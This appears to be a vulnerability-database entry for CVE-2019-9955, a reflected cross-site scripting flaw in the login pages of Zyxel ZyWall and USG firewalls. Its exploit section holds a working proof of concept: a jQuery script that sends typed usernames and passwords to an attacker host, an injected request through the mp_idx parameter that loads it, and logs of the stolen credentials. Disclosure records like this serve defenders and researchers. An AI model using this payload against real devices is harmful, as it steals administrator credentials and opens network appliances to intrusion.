ID

VAR-E-201904-0187


CVE

cve_id:CVE-2019-9955

Trust: 1.5

sources: PACKETSTORM: 152525 // EXPLOIT-DB: 46706

EDB ID

46706


TITLE

Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 46706

DESCRIPTION

Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting. CVE-2019-9955 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 46706

AFFECTED PRODUCTS

vendor:zyxelmodel:zywall zywall usg1900 atp500 usg40scope:eqversion:310/110///

Trust: 1.6

vendor:zyxelmodel:zywallscope: - version: -

Trust: 0.5

sources: PACKETSTORM: 152525 // EXPLOIT-DB: 46706 // EDBNET: 101328

EXPLOIT

# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955

1. Description
==============

Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.

2. Proof of Concept
=============

Host a malicious file JavaScript file named 'z', or any other single character,
locally. The contents of 'z' for the following example are:

-----
$("button").click(function() {
$.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----

Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file:

Request:

GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957

<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<meta http-equiv="pragma" content="no-cache">
<link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/style.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/theme.css?v=180711001117" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=180711001117" />
<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=180711001117" type="text/javascript"></script>
<script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=180711001117" type="text/javascript"></script>
<script type="text/javascript" src="/lang/language_panel.js?v=180711001117"></script>
<script language="JavaScript">
var errorNum = 0;
var mp_idx = "";$.getScript('//$LHOST/z');//";
...

When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:

$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 -

Trust: 1.0

sources: EXPLOIT-DB: 46706

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 46706

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 46706

TYPE

Login Page Cross-Site Scripting

Trust: 1.6

sources: EXPLOIT-DB: 46706 // EDBNET: 101328

TAGS

tag:Cross-Site Scripting (XSS)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:xss

Trust: 0.5

sources: PACKETSTORM: 152525 // EXPLOIT-DB: 46706

CREDITS

Aaron Bishop

Trust: 0.6

sources: EXPLOIT-DB: 46706

EXTERNAL IDS

db:EXPLOIT-DBid:46706

Trust: 1.6

db:NVDid:CVE-2019-9955

Trust: 1.5

db:EDBNETid:101328

Trust: 0.6

db:PACKETSTORMid:152525

Trust: 0.5

sources: PACKETSTORM: 152525 // EXPLOIT-DB: 46706 // EDBNET: 101328

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2019-9955

Trust: 1.5

url:https://www.exploit-db.com/exploits/46706/

Trust: 0.6

sources: PACKETSTORM: 152525 // EXPLOIT-DB: 46706 // EDBNET: 101328

SOURCES

db:PACKETSTORMid:152525
db:EXPLOIT-DBid:46706
db:EDBNETid:101328

LAST UPDATE DATE

2022-07-27T09:18:12.390000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:152525date:2019-04-16T10:32:22
db:EXPLOIT-DBid:46706date:2019-04-16T00:00:00
db:EDBNETid:101328date:2019-04-16T00:00:00